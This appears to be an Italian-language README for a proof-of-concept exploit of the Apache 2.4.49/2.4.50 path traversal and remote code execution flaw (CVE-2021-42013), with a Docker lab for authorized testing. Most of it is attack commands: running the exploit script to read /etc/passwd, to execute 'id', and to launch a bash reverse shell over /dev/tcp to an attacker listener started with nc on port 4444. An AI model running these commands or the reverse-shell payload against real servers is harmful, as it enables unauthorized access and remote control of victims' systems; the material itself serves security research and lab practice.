
Exploit proof-of-concept per Apache 2.4.50 path traversal e remote code execution (CVE-2021-42013) con laboratorio Docker e payload reverse shell per test di sicurezza autorizzati.
⚠️ Solo per scopi educativi e di ricerca sulla sicurezza autorizzata
Molto grati all'autore originale del PoC Walnut Security Services Pvt. Ltd
Un attaccante potrebbe utilizzare un attacco di path traversal per mappare URL a file al di fuori delle directory configurate da direttive simili ad Alias. Se i file al di fuori di queste directory non sono protetti dalla consueta configurazione predefinita "require all denied", queste richieste possono avere successo. Se anche gli script CGI sono abilitati per questi percorsi alias, ciò potrebbe consentire l'esecuzione remota di codice. Questo problema riguarda solo Apache 2.4.49 e Apache 2.4.50 e non versioni precedenti.
Prima, clona il repository
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
Cambia directory
cd CVE-2021-42013
Crea il container vulnerabile
docker build -t CVE-2021-42013 .
Esegui il container effimero
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
Controlla l'indirizzo IP del container
docker inspect CVE-2021-42013 | grep "IPAddress"
Dai il permesso di esecuzione allo script
chmod +x cve-2021-42013.sh
Per testare e confermare il path traversal, è necessario scoprire una directory valida che in questo caso è configurata come /icons. Quindi, eseguendo il seguente comando si attiverebbe la vulnerabilità di path traversal e stamperebbe il contenuto di /etc/passwd:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
Per testare e confermare l'esecuzione remota di codice, CGI deve essere configurato e abilitato, cosa che in questo caso è vera. Quindi, eseguendo il seguente comando si attiverebbe l'esecuzione remota di codice e stamperebbe l'output del comando id:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
Dal punto di vista dell'attaccante, l'esecuzione remota di codice è critica per ottenere accesso a una shell interattiva. Quindi, eseguendo il seguente comando si attiverebbe una reverse shell convenzionale su tcp basata su bash verso il sistema dell'attaccante sulla porta 4444/tcp:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444